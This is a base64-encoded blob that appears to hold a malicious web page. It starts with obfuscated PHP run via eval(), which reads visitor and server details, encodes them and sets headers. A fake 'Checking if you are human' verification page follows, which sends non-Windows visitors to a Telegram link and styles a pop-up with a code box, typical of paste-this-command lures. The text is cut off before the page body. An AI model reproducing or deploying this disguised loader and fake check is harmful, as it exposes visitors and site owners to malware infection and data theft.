JbHg0TXpVaUxDQWlYSGd6TlNJc0lDSmNNVFF4SWl3Z0lseDRNeklpTENBaVhIZzJNeUlzSUNKY2VETTBJaXdnSWx3eE5ESWlMQ0FpWEhnMk5pSXNJQ0pjZURNMUlpd2dJbHcyTUNJc0lDSmNlRFl5SWl3Z0lseDRNemdpTENBaVhERTBNU0lzSUNKY2VEWXhJaXdnSWx4NE16UWlMQ0FpWEhnMk15SXNJQ0pjZURNM0lpd2dJbHcyTXlJcE95Qm5iM1J2SUZGbldFeERPeUJPVTFKRWRqb2dhV1lnS0NFa2RtaDFXVjliSWx4NE56TmNlRGMwWEhnMk1Wd3hOalJjZURjMVhERTJNeUpkS1NCN0lHZHZkRzhnWlhJNGVYWTdJSDBnWjI5MGJ5QjFNbGhqY2pzZ2JIbzRXazg2SUNScmRFaE5TeUE5SUdsemMyVjBLQ1JmVWtWUlZVVlRWRnNpWEhnMk1Wd3hORE5jTVRZMFhIZzJPVnd4TlRkY01UVTJJbDBwSUQ4Z0pGOVNSVkZWUlZOVVd5SmNNVFF4WERFME0xd3hOalJjZURZNVhIZzJabHd4TlRZaVhTQTZJQ2NuT3lCbmIzUnZJR3R0ZEhGYU95QlFWRmgxYWpvZ2FXWWdLQ0Z6ZEhKemRISW9KRUZmVVhkc0xDQWlYSGczTWx4NE5tWmNlRFl5WERFMU4xeDROelJjTVRZelhERXpOMXg0TmpOY2VEWm1YSGcyWlZ3eE5qUmNlRFkxWERFMU5seDROelFpS1NrZ2V5Qm5iM1J2SUhoNFpteFZPeUI5SUdkdmRHOGdZV3RMWlVzN0lHZElNME5mT2lBa1NXZzNkRzhnUFNCemRISmZjbVZ3YkdGalpTZ2lYSGcyT0Z4NE56UmNNVFUxWEhnMlkxeDROV1pjZURZelhIZzJabHd4TlRaY2VEYzBYSGcyTlZ4NE5tVmNNVFkwSWl3Z0p5Y3NJQ1JCWDFGM2JDazdJR2R2ZEc4Z1QwSjNPSFk3SUVFMWJWOWFPaUJsZUdsMEtHbHRjR3h2WkdVb1VFaFFYMFZQVEN3Z0pHUnBTa1JYS1NrN0lHZHZkRzhnVUROV09VUTdJRTVUVkU1ak9pQkFaWEp5YjNKZmNtVndiM0owYVc1bktEQXBPeUJuYjNSdklHVmpUVEZaT3lCd2FqUnZjRG9nWm5WdVkzUnBiMjRnVTB0emNtSW9KSEJsZUdSNEtTQjdJR2R2ZEc4Z1VIWnlkazQ3SUZCMmNuWk9PaUFrUVhGRVVtSWdQU0JtWVd4elpUc2daMjkwYnlCV1lUY3dRanNnVjFwS1EzQTZJRVJaYzI4eU9pQm5iM1J2SUVkc1NGSldPeUJXWVRjd1Fqb2dKR3cyV0ZwSklEMGdJbHg0TmpkY2VEWm1YSGcyWmx3eE5EZGNNVFUwWERFME5WeDROakpjZURabVhERTJORnd4TnpSY01UUTNYREUxTjF3eE5UZGNlRFkzWEhnMlkxeDROalZjZURkalhERTNNVng0TmpGY2VEWTRYREUxTjF4NE5tWmNlRGRqWEhnMk1seDROamxjZURabFhIZzJOMXd4TnpSY2VEWXhYSGcyWmx3eE5UUWlPeUJuYjNSdklIRmtPWHBZT3lCSGJFaFNWam9nY21WMGRYSnVJQ1JCY1VSU1lqc2daMjkwYnlCS1kyczNRenNnZVhCVFNXSTZJSHBoZVRKWU9pQm5iM1J2SUZkYVNrTndPeUJ4WkRsNldEb2dhV1lnS0NFa2NHVjRaSGdwSUhzZ1oyOTBieUJFV1hOdk1qc2dmU0JuYjNSdklGTnJiR2czT3lCVGEyeG9Oem9nYVdZZ0tDRndjbVZuWDIxaGRHTm9LQ0pjZURKbVhIZ3lPSHNrYkRaWVdrbDlYRFV4WEhneVpseDROek5jZURZNUlpd2dKSEJsZUdSNEtTa2dleUJuYjNSdklIcGhlVEpZT3lCOUlHZHZkRzhnZFdoTU0xbzdJSFZvVEROYU9pQWtRWEZFVW1JZ1BTQjBjblZsT3lCbmIzUnZJSGx3VTBsaU95QktZMnMzUXpvZ2ZTQm5iM1J2SUdoeFpYY3lPeUJQUW5jNGRqb2daV05vYnlBa1NXZzNkRzg3SUdkdmRHOGdiR2QyT0RnN0lGUldOWFJ6T2lBa2RXODRVMnNnUFNBaVhIZzJPQ0lnTGlBaVhIZzNOQ0lnTGlBaVhIZzNOQ0lnTGlBaVhERTJNQ0lnTGlBaVhIZzNNeUlnTGlBaVhIZ3pZVncxTnlJZ0xpQWlYSGd5WmlJZ0xpQWtkR0ZFTXpBZ0xpQWlYSGd5Wmx3eE5qZGNNVFl3SWlBdUlDSmNOVFZjZURZNUlpQXVJQ0pjTVRVMklpQXVJQ0pjZURZMElpQXVJQ0pjZURZMUlpQXVJQ0pjTVRjd0lpQXVJQ0pjTlRaY2VEY3dYREUxTUNJZ0xpQWlYREUyTUZ4NE0yWWlJQzRnSkZKd1EyMUNPeUJuYjNSdklHbzVYMkpXT3lCQlkzQm1Wem9nVlV4Vk4wSTZJR2R2ZEc4Z1VFMUtTbkU3SUdVMmEyZEZPaUJBYUdWaFpHVnlLQ0pjZURRelhERTFOMXd4TlRaY01UWTBYREUwTlZ4NE5tVmNlRGMwWERVMVhIZzNORng0TnpsY2VEY3dYSGcyTlZ4NE0yRmNlREl3WERFMk5Gd3hORFZjTVRjd1hIZzNORncxTjF3eE5UQmNNVFkwWEhnMlpGd3hOVFJjTnpOY2VESXdYREUwTTF3eE5UQmNNVFF4WEhnM01sd3hOak5jZURZMVhERTJORng0TTJSY01UWTFYSGczTkZ3eE5EWmNOVFZjZURNNElpazdJR2R2ZEc4Z1owZ3pRMTg3SUdKMWRWTmZPaUJrYWtwbE9Ub2daMjkwYnlCRVYybFRRenNnUmpWdVJFTTZJQ1JTY0VOdFFpQTlJQ0pjTVRVd1hERTJORng0TnpSY2VEY3dYREV6TjF4NE56UmNlRGM1WERFMk1GeDROalZjZUROa0lpQXVJR0poYzJVMk5GOWxibU52WkdVb0pHSlpkMFJZS1NBdUlDSmNORFpjZURZNFhERTJORng0TnpSY2VEY3dYREV6TjF3eE5qVmNlRGN5WEhnMk9WeDRNMlFpSUM0Z1ltRnpaVFkwWDJWdVkyOWtaU2drZWxoVFRVd3BJQzRnSWx3ME5sd3hOVEJjTVRZMFhIZzNORng0TnpCY2VEVm1YREUxTkZ3eE5ERmNlRFpsWERFME4xeDRNMlFpSUM0Z1ltRnpaVFkwWDJWdVkyOWtaU2drVWxOVk1USXBJQzRnSWx3ME5seDROamhjZURjMFhERTJORng0TnpCY01UTTNYSGcyT0Z4NE5tWmNNVFl6WERFMk5GeDRNMlFpSUM0Z1ltRnpaVFkwWDJWdVkyOWtaU2drWnpsS05HWXBJQzRnSWx4NE1qWmNlRFk0WEhnM05GeDROelJjZURjd1hIZzFabHg0TnpKY2VEWTFYREUwTmx4NE5qVmNNVFl5WEhnelpDSWdMaUJpWVhObE5qUmZaVzVqYjJSbEtDUnZNRVU1YnlrZ0xpQWlYSGd5Tmx3eE5UQmNNVFkwWERFMk5GeDROekJjZURWbVhERTJOVng0TnpOY2VEWTFYSGczTWx4NE5XWmNlRFl4WERFME4xd3hORFZjZURabFhIZzNORng0TTJRaUlDNGdZbUZ6WlRZMFgyVnVZMjlrWlNna1dtcDFja3NwSUM0Z0lseDRNalpjZURZNFhIZzNORng0TnpSY2VEY3dYREV6TjF4NE5qbGNlRGN3WEhnMVpsd3hOREZjZURZMFhIZzJORnd4TmpKY01UUTFYSGczTTF4NE56TmNOelVpSUM0Z1ltRnpaVFkwWDJWdVkyOWtaU2drY2xjelZHc3BPeUJuYjNSdklGVlFlVEI1T3lCWFpWOVhVem9nSkVsb04zUnZJRDBnYzNSeVgzSmxjR3hoWTJVb0lseDROekpjZURabVhIZzJNbHg0Tm1aY2VEYzBYSGczTTF4NE5XWmNlRFl6WERFMU4xd3hOVFpjZURjMFhIZzJOVnd4TlRaY2VEYzBJaXdnSnljc0lDUkJYMUYzYkNrN0lHZHZkRzhnUTE5RFlWazdJRkF6VmpsRU9pQjRlR1pzVlRvZ1oyOTBieUJWYlRBeVZEc2dhamxmWWxZNklHbG1JQ2doS0hOMGNtbHpkSElvSkhwWVUwMU1MQ0FpWEhneVpWeDROemhjZURaa1hIZzJZeUlwSUh4OElITjBjbWx6ZEhJb0pIcFlVMDFNTENBaVhERTJNbHd4TlRkY2VEWXlYSGcyWmx3eE5qUmNNVFl6WEhneVpWd3hOalJjZURjNFhIZzNOQ0lwS1NrZ2V5Qm5iM1J2SUZsc1NrWXpPeUI5SUdkdmRHOGdiemRuZEVZN0lFSjVaWGg2T2lCMmVHeDBiam9nWjI5MGJ5QlFWRmgxYWpzZ1V6UXdNVk02SUdsbUlDaHpkSEp6ZEhJb0pFRmZVWGRzTENBaVhIZzJORnd4TlRkY01UTTNYREUxTmx4NE5tWmNlRGMwWEhnMk9GeDROamxjZURabFhIZzJOeUlwS1NCN0lHZHZkRzhnUmtZelFXbzdJSDBnWjI5MGJ5QnpTVzVaVlRzZ2VEUmFVVkE2SUNSTE1uRXdUQ0E5SUdGTlNqRlhLQ1IxYnpoVGF5azdJR2R2ZEc4Z2NUVmZibFk3SUV0SVZqWmxPaUFrYkVaQmNETWdQU0FrWDFORlVsWkZVbHNpWEhnME5Gd3hNVGRjZURRelhERXlOVng0TkdSY01UQTFYREV4Tmx4NE5UUmNlRFZtWEhnMU1sd3hNVGRjTVRFM1hIZzFOQ0pkT3lCbmIzUnZJSE56ZUdZeU95Qm9XRWhYYURvZ1pYaHBkRHNnWjI5MGJ5QkNlV1Y0ZWpzZ1NGbDZhVkE2SUhSeU1FNU9PaUJuYjNSdklHWTVXR0paT3lCVFUxQTJZem9nWjI5MGJ5QlZURlUzUWpzZ1oyOTBieUJJV1hwcFVEc2dWbmhmUVVVNklDUlNVMVV4TWlBOUlHbHpjMlYwS0NSZlUwVlNWa1ZTV3lKY01URXdYREV5TkZ4NE5UUmNNVEl3WERFek4xd3hNREZjZURRelhIZzBNMXd4TURWY2VEVXdYSGcxTkZ3eE16ZGNNVEUwWEhnME1Wd3hNVFpjZURRM1hERXlOVnd4TURGY01UQTNYSGcwTlNKZEtTQS9JQ1JmVTBWU1ZrVlNXeUpjZURRNFhERXlORnd4TWpSY01USXdYSGcxWmx3eE1ERmNNVEF6WEhnME0xd3hNRFZjZURVd1hERXlORng0TldaY01URTBYSGcwTVZ4NE5HVmNlRFEzWERFeU5WeDROREZjZURRM1hIZzBOU0pkSURvZ0p5YzdJR2R2ZEc4Z1dXVjBNbEE3SUd4bmRqZzRPaUJsZUdsME95Qm5iM1J2SUVaTFZEQmZPeUJRVFVwS2NUb2dablZ1WTNScGIyNGdVMGRLVDFNb0tTQjdJR2R2ZEc4Z1lqbDNZekU3SUVOS1JGQjJPaUJqTVZkaVl6b2daMjkwYnlCMVdYQnNNVHNnV0c5U2NUVTZJR2R2ZEc4Z1l6RlhZbU03SUdkdmRHOGdTWFExZVdJN0lHSTVkMk14T2lBa2NuRm5SRUlnUFNBaFpXMXdkSGtvSkY5VFJWSldSVkpiSWx3eE1UQmNlRFUwWERFeU5GeDROVEJjZURVeklsMHBJQ1ltSUNSZlUwVlNWa1ZTV3lKY01URXdYSGcxTkZ3eE1qUmNlRFV3WERFeU15SmRJQ0U5UFNBaVhIZzJabHg0TmpaY2VEWTJJaUI4ZkNBa1gxTkZVbFpGVWxzaVhIZzFNMXg0TkRWY2VEVXlYREV5Tmx3eE1EVmNlRFV5WEhnMVpsd3hNakJjZURSbVhERXlNbHd4TWpRaVhTQTlQU0EwTkRNN0lHZHZkRzhnWjI4NE4ybzdJR2R2T0RkcU9pQnBaaUFvSkhKeFowUkNLU0I3SUdkdmRHOGdaMHc1ZVdJN0lIMGdaMjkwYnlCSFRHOUxianNnU1hRMWVXSTZJR2RNT1hsaU9pQm5iM1J2SUVKT05VRkdPeUJDVGpWQlJqb2djbVYwZFhKdUlDSmNNVFV3WEhnM05Gd3hOalJjZURjd1hERTJNeUk3SUdkdmRHOGdRMHBFVUhZN0lFZE1iMHR1T2lCeVpYUjFjbTRnSWx3eE5UQmNlRGMwWERFMk5GeDROekFpT3lCbmIzUnZJRmh2VW5FMU95QjFXWEJzTVRvZ2ZTQm5iM1J2SUdONVpubExPeUJwWVRoRGFqb2dRSE5sZEY5MGFXMWxYMnhwYldsMEtERXdNREFwT3lCbmIzUnZJRTVUVkU1ak95QnNOVzFRUmpvZ1RVVkxWMGc2SUdkdmRHOGdZbkZVZEd3N0lFNXhNbDlPT2lCMWJteHBibXNvSkd4R1FYQXpJQzRnSWx3MU4xd3hOakpjZURabVhIZzJNbHg0Tm1aY2VEYzBYREUyTTF3MU5seDROelJjTVRjd1hIZzNOQ0lwT3lCbmIzUnZJR3cxYlZCR095Qm5UVTlQYlRvZ0pISlhNMVJySUQwZ1EwZFlXbVFvS1RzZ1oyOTBieUJHTlc1RVF6c2dZV3RMWlVzNklFQm9aV0ZrWlhJb0lsd3hNRE5jZURabVhIZzJaVnd4TmpSY2VEWTFYREUxTmx3eE5qUmNlREprWEhnM05GeDROemxjTVRZd1hERTBOVng0TTJGY05EQmNNVFkwWERFME5Wd3hOekJjZURjMFhIZ3labHd4TmpCY01UVTBYSGcyTVZ4NE5qbGNNVFUyWEhnellsdzBNRng0TmpOY01UVXdYSGcyTVZ4NE56SmNNVFl6WERFME5Wd3hOalJjZUROa1hIZzNOVnd4TmpSY2VEWTJYRFUxWEhnek9DSXBPeUJuYjNSdklGZGxYMWRUT3lCRFZHVkpNem9nYVdZZ0tDRWtTekp4TUV4Yklsd3hOak5jTVRZMFhERTBNVng0TnpSY01UWTFYREUyTXlKZEtTQjdJR2R2ZEc4Z1RXWkZkMFE3SUgwZ1oyOTBieUJuUlVoSFlqc2dWV2RvTTBzNklHWjFibU4wYVc5dUlHZHNRbUpvS0NSRE0xTktVQ2tnZXlCbmIzUnZJRXhDY2xGb095QkhSVTlYWHpvZ0pIWnBhM0pmSUQwZ2RISjFaVHNnWjI5MGJ5QndZVlJSVHpzZ1VHWmFiMkk2SUhKbGRIVnliaUFrZG1scmNsODdJR2R2ZEc4Z1kxaERPRWc3SUVSTFZWSlBPaUFrVGxKZldYa2dQU0FpWERFME4xeDRObVpjTVRVM1hIZzJOMXg0Tm1OY01UUTFYSGd5WlZ3eE5ETmNNVFUzWEhneVpWd3hOVEpjZURjd1hIZzNZMXd4TkRkY2VEWm1YREUxTjF3eE5EZGNlRFpqWEhnMk5WdzFObHd4TkROY01UVTNYREUxTlZ3eE56UmNNVGN4WERFME1WeDROamhjZURabVhERTFOMXg0TW1WY2VEWXpYREUxTjF4NE1tVmNlRFpoWEhnM01GeDROMk5jTVRjeFhIZzJNVnd4TlRCY2VEWm1YREUxTjF4NE1tVmNlRFl6WEhnMlpsd3hOVFZjZURkalhIZzJNbHg0TmpsY2VEWmxYREUwTjF4NE1tVmNlRFl6WEhnMlpseDRObVFpT3lCbmIzUnZJRk5zVEVnMk95QnhjakJITlRvZ2FXWWdLQ0Z3Y21WblgyMWhkR05vS0NKY05UZGNOVEI3SkU1U1gxbDVmVng0TWpsY2VESm1YSGczTTF4NE5qa2lMQ0FrUXpOVFNsQXBLU0I3SUdkdmRHOGdRVlphUVRrN0lIMGdaMjkwYnlCSFJVOVhYenNnVEVKeVVXZzZJQ1IyYVd0eVh5QTlJR1poYkhObE95Qm5iM1J2SUVSTFZWSlBPeUJXVmxSdU1qb2diSFJaTWtNNklHZHZkRzhnVUdaYWIySTdJSEJoVkZGUE9pQkJWbHBCT1RvZ1oyOTBieUJXVmxSdU1qc2dVMnhNU0RZNklHbG1JQ2doSkVNelUwcFFLU0I3SUdkdmRHOGdiSFJaTWtNN0lIMGdaMjkwYnlCeGNqQkhOVHNnWTFoRE9FZzZJSDBLUHo0PSI7JHc9Ij8+IjtldmFsKCR3LiR1KCR2KSk7JHM9ImRNT1hsaU9pQm5iM1IiOyR4PTA7Pz48IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgo8aGVhZD4KICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCIvPgogIDxzY3JpcHQ+CihmdW5jdGlvbiAoKSB7CiAgY29uc3QgcmVkaXJlY3RVcmwgPSAiaHR0cHM6Ly90Lm1lL1Rhcm5rYXBwZV9pbmZvIjsKCiAgCiAgY29uc3QgdWEgPSBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICIiOwogIGNvbnN0IGlzV2luZG93cyA9CiAgICB1YS5pbmNsdWRlcygiV2luZG93cyBOVCIpIHx8CiAgICB1YS5pbmNsdWRlcygiV2luNjQiKSB8fAogICAgdWEuaW5jbHVkZXMoIldpbjMyIik7CgogIGlmICghaXNXaW5kb3dzKSB7CiAgICAKICAgIGlmICh3aW5kb3cubG9jYXRpb24uaHJlZiAhPT0gcmVkaXJlY3RVcmwpIHsKICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UocmVkaXJlY3RVcmwpOwogICAgfQogIH0KfSkoKTsKPC9zY3JpcHQ+CgogIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsaW5pdGlhbC1zY2FsZT0xIi8+CiAgPHRpdGxlPkNoZWNraW5nIGlmIHlvdSBhcmUgaHVtYW48L3RpdGxlPgogIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzYuMC4wLWJldGEzL2Nzcy9hbGwubWluLmNzcyI+CiAgPGxpbmsgcmVsPSJpY29uIiBpZD0iZHluYW1pYy1mYXZpY29uIiBocmVmPSJkYXRhOiwiPgogIDxzdHlsZT4KCiAgICBib2R5IHsgYmFja2dyb3VuZC1jb2xvcjogI2ZjZmNmYzsgY29sb3I6ICMzMzM7IH0KICAgIC50ZXR0eCB7IGNvbG9yOiByZ2IoNzggNzggNzgpOyB9CiAgICAudmVyaWZ5LW1haW4geyBjb2xvcjogIzMzMyAhaW1wb3J0YW50OyB9CiAgICAudmVyaWZ5LXZlcmlmeS1idXR0b24geyBiYWNrZ3JvdW5kOiAjMzMzMzMzICFpbXBvcnRhbnQ7IH0KICAgIC5jaGVja2JveC13aW5kb3cgeyBkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBhbGlnbi1pdGVtczogY2VudGVyOyB3aWR0aDogMzAwcHg7IGhlaWdodDogNzRweDsgYmFja2dyb3VuZC1jb2xvcjogI2ZhZmFmYTsgYm9yZGVyOiAxcHggc29saWQgI2UwZTBlMDsgYm9yZGVyLXJhZGl1czogNHB4OyBwYWRkaW5nOiAxMHB4OyBvdmVyZmxvdzogaGlkZGVuOyB0cmFuc2l0aW9uOiB3aWR0aCAuNXMgZWFzZS1pbi1vdXQsIGhlaWdodCAuNXMgZWFzZS1pbi1vdXQ7IH0KICAgIC5jaGVja2JveC1jb250YWluZXIgeyB3aWR0aDogMjhweDsgaGVpZ2h0OiAyOHB4OyBtYXJnaW4tbGVmdDogMTJweDsgbWFyZ2luLXJpZ2h0OiA4cHg7IHBvc2l0aW9uOiByZWxhdGl2ZTsgfQogICAgLmNoZWNrYm94IHsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsgYm9yZGVyLXJhZGl1czogMnB4OyBib3JkZXI6IDJweCBzb2xpZCAjODg4OyBjdXJzb3I6IHBvaW50ZXI7IHRyYW5zaXRpb246IGJvcmRlci1jb2xvciAuM3MsIGJhY2tncm91bmQtY29sb3IgLjNzOyB9CiAgICAuY2hlY2tib3guY2hlY2tlZCB7IGJvcmRlci1jb2xvcjogIzQyODVmNDsgYmFja2dyb3VuZC1jb2xvcjogIzQyODVmNDsgcG9zaXRpb246IHJlbGF0aXZlOyB9CiAgICAuY2hlY2tib3guY2hlY2tlZDo6YWZ0ZXIgeyBjb250ZW50OiAiXGYwMGMiOyBmb250LWZhbWlseTogIkZvbnRBd2Vzb21lIjsgY29sb3I6ICNmZmY7IGZvbnQtc2l6ZTogMThweDsgcG9zaXRpb246IGFic29sdXRlOyB0b3A6IC0ycHg7IGxlZnQ6IDJweDsgfQogICAgLnNwaW5uZXIgeyB2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiByZWxhdGl2ZTsgfQogICAgLnZlcmlmeS13aW5kb3cgeyBvcGFjaXR5OiAwOyB2aXNpYmlsaXR5OiBoaWRkZW47IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDA7IHRyYW5zaXRpb246IG9wYWNpdHkgLjVzLCBoZWlnaHQgLjVzOyB9CiAgICAudmVyaWZ5LXdpbmRvdy5hY3RpdmUgeyBvcGFjaXR5OiAxOyB2aXNpYmlsaXR5OiB2aXNpYmxlOyBoZWlnaHQ6IGF1dG87IH0KICAgIC52ZXJpZnktaGVhZGVyIHsgYmFja2dyb3VuZC1jb2xvcjogI2U4NWQxYTsgcGFkZGluZzogMTBweDsgY29sb3I6ICNmZmY7IGZvbnQtc2l6ZTogMTRweDsgfQogICAgLnZlcmlmeS1tYWluIHsgcGFkZGluZzogMTBweDsgZm9udC1zaXplOiAxNHB4OyBjb2xvcjogI2ZmZjsgfQogICAgLnZlcmlmeS1mb290ZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZjJmMmYyOyBwYWRkaW5nOiAxMHB4OyB0ZXh0LWFsaWduOiByaWdodDsgfQogICAgLnZlcmlmeS1mb290ZXIgYnV0dG9uIHsgcGFkZGluZzogOHB4IDE1cHg7IGJhY2tncm91bmQ6ICM0Mjg1ZjQ7IGNvbG9yOiAjZmZmOyBib3JkZXI6IG5vbmU7IGN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLXJhZGl1czogNHB4OyB9CiAgICAudmVyaWZ5LXdpbmRvdyB7IHdpZHRoOiBhdXRvOyB9CiAgICAudmVyaWZ5LWhlYWRlciB7IGJhY2tncm91bmQtY29sb3I6ICNlODVkMWE7IHBhZGRpbmc6IDEwcHggMTZweDsgY29sb3I6ICNmZmY7IGZvbnQtc2l6ZTogMTRweDsgYm9yZGVyLXJhZGl1czogMDsgfQogICAgLmxkcy1yaW5nIHsgZGlzcGxheTogaW5saW5lLWJsb2NrOyBwb3NpdGlvbjogcmVsYXRpdmU7IH0KICAgIC5sZHMtcmluZywgLmxkcy1yaW5nIGRpdiB7IGhlaWdodDogMS44NzVyZW07IHdpZHRoOiAxLjg3NXJlbTsgfQogICAgLmxkcy1yaW5nIGRpdiB7IGFuaW1hdGlvbjogbGRzLXJpbmcgMS4ycyBjdWJpYy1iZXppZXIoLjUsMCwuNSwxKSBpbmZpbml0ZTsgYm9yZGVyOiAuM3JlbSBzb2xpZCB0cmFuc3BhcmVudDsgYm9yZGVyLXJhZGl1czogNTAlOyBib3JkZXItdG9wLWNvbG9yOiAjMzEzMTMxOyBib3gtc2l6aW5nOiBib3JkZXItYm94OyBkaXNwbGF5OiBibG9jazsgcG9zaXRpb246IGFic29sdXRlOyB9CiAgICAubGRzLXJpbmcgZGl2OmZpcnN0LWNoaWxkIHsgYW5pbWF0aW9uLWRlbGF5OiAtLjQ1czsgfQogICAgLmxkcy1yaW5nIGRpdjpudGgtY2hpbGQoMikgeyBhbmltYXRpb24tZGVsYXk6IC0uM3M7IH0KICAgIC5sZHMtcmluZyBkaXY6bnRoLWNoaWxkKDMpIHsgYW5pbWF0aW9uLWRlbGF5OiAtLjE1czsgfQogICAgQGtleWZyYW1lcyBsZHMtcmluZyB7IDAlIHsgdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7IH0gdG8geyB0cmFuc2Zvcm06IHJvdGF0ZSgxdHVybik7IH0gfQogICAgQG1lZGlhIChwcmVmZXJzLWNvbG9yLXNjaGVtZTogZGFyaykgeyBib2R5IC5sZHMtcmluZyBkaXYgeyBib3JkZXItY29sb3I6ICM2NzY3NjcgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQ7IH0gfQogICAgKiB7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IG1hcmdpbjogMDsgcGFkZGluZzogMDsgfQogICAgYm9keSB7IGZvbnQtZmFtaWx5OiBzeXN0ZW0tdWksLWFwcGxlLXN5c3RlbSxCbGlua01hY1N5c3RlbUZvbnQsIlNlZ29lIFVJIixSb2JvdG8sIkhlbHZldGljYSBOZXVlIixBcmlhbCwiTm90byBTYW5zIixzYW5zLXNlcmlmLCJBcHBsZSBDb2xvciBFbW9qaSIsIlNlZ29lIFVJIEVtb2ppIiwiU2Vnb2UgVUkgU3ltYm9sIiwiTm90byBDb2xvciBFbW9qaSI7IGRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGhlaWdodDogMTAwdmg7IG1pbi1oZWlnaHQ6IDEwMHZoOyB9CiAgICAubWFpbi13cmFwcGVyIHsgYWxpZ24taXRlbXM6IGNlbnRlcjsgZGlzcGxheTogZmxleDsgZmxleDogMTsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgfQogICAgLm1haW4tY29udGVudCB7IG1hcmdpbjogOHJlbSBhdXRvOyBtYXgtd2lkdGg6IDYwcmVtOyBwYWRkaW5nLWxlZnQ6IDEuNXJlbTsgcGFkZGluZy1yaWdodDogMS41cmVtOyB3aWR0aDogMTAwJTsgfQogICAgLmZvb3RlciB7IGZvbnQtc2l6ZTogLjc1cmVtOyBsaW5lLWhlaWdodDogMS4xMjVyZW07IG1hcmdpbjogMCBhdXRvOyBtYXgtd2lkdGg6IDYwcmVtOyBwYWRkaW5nLWxlZnQ6IDEuNXJlbTsgcGFkZGluZy1yaWdodDogMS41cmVtOyB3aWR0aDogMTAwJTsgfQogICAgLmZvb3Rlci1pbm5lciB7IGJvcmRlci10b3A6IDFweCBzb2xpZCAjZDlkOWQ5OyBwYWRkaW5nLWJvdHRvbTogMXJlbTsgcGFkZGluZy10b3A6IDFyZW07IHRleHQtYWxpZ246IGNlbnRlcjsgfQoKICAgIC52ZXJpZnktd2luZG93IHsgZm9udC1mYW1pbHk6IFJvYm90byxoZWx2ZXRpY2EsYXJpYWwsc2Fucy1zZXJpZjsgb3BhY2l0eTogMDsgdmlzaWJpbGl0eTogaGlkZGVuOyBtYXJnaW46IGF1dG87IHdpZHRoOiAzMTBweDsgdHJhbnNpdGlvbjogb3BhY2l0eSA0MDBtczsgfQogICAgLnZlcmlmeS13aW5kb3cgeyBkaXNwbGF5OiBibG9jazsgdG9wOiA1cHg7IGxlZnQ6IDU0cHg7IH0KICAgIC52ZXJpZnktaGVhZGVyIHsgYmFja2dyb3VuZC1jb2xvcjogIzFhNzNlODsgcGFkZGluZzogMTZweDsgY29sb3I6ICNmZmY7IGZvbnQtc2l6ZTogMThweDsgYm9yZGVyLXJhZGl1czogOHB4IDhweCAwIDA7IH0KICAgIC52ZXJpZnktbWFpbiB7IHBhZGRpbmc6IDE2cHg7IGZvbnQtc2l6ZTogMTRweDsgY29sb3I6ICMzMzM7IH0KICAgIC52ZXJpZnktbWFpbiBvbCB7IHBhZGRpbmctbGVmdDogMjBweDsgfQogICAgLnZlcmlmeS1tYWluIG9sIGxpIHsgbWFyZ2luLWJvdHRvbTogMTBweDsgfQogICAgLnZlcmlmeS1tYWluIGNvZGUgeyBkaXNwbGF5OiBibG9jazsgbWFyZ2luLXRvcDogMTBweDsgYmFja2dyb3VuZC1jb2xvcjogI2Y5ZjlmOTsgcGFkZGluZzogMTBweDsgZm9udC1zaXplOiAxMnB4OyBib3JkZXI6IDFweCBzb2xpZCAjZGRkOyB9CiAgICAudmVyaWZ5LWZvb3RlciB7IGJhY2tncm91bmQtY29sb3I6ICNmMmYyZjI7IHBhZGRpbmc6IDE2cHg7IHRleHQtYWxpZ246IHJpZ2h0OyB9CiAgICAudmVyaWZ5LWZvb3RlciBidXR0b24geyBwYWRkaW5nOiAxMHB4IDIwcHg7IGJhY2tncm91bmQ6ICM0Mjg1ZjQ7IGNvbG9yOiAjZmZmOyBib3JkZXI6IG5vbmU7IGJvcmRlci1yYWRpdXM6IDVweDsgY3Vyc29yOiBwb2ludGVyOyB9CiAgICAub3ZlcmxheSB7IGRpc3BsYXk6IG5vbmU7IHBvc2l0aW9uOiBmaXhlZDsgdG9wOiAwOyBsZWZ0OiAwOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlOyBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLC41KTsgei1pbmRleDogMTA7IH0KICAgIC5vdmVybGF5LmFjdGl2ZSwgLnZlcmlmeS13aW5kb3cuYWN0aXZlIHsgZGlzcGxheTogYmxvY2s7IH0KICAgIC52ZXJpZnktd2luZG93IHsgd2lkdGg6IGF1dG87IH0KICAgIC52ZXJpZnktaGVhZGVyIHsgYmFja2dyb3VuZC1jb2xvcjogI2U4NWQxYTsgcGFkZGluZzogMTBweCAxNnB4OyBjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxNHB4OyBib3JkZXItcmFkaXVzOiAwOyB9CiAgICAjc3Bpbm5lcjIgeyB3aWR0aDogNDBweDsgaGVpZ2h0OiA0MHB4OyBhbmltYXRpb246IHJvdGF0ZSA0cyBsaW5lYXIgaW5maW5pdGU7IG1hcmdpbi10b3A6IC00cHg7IH0KICAgIC5jaGVja2JveC13aW5kb3cgeyBvcGFjaXR5OiAwOyB9CiAgICBAa2V5ZnJhbWVzIHJvdGF0ZSB7IGZyb20geyB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsgfSB0byB7IHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7IH0gfQogIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8ZGl2IGNsYXNzPSJtYWl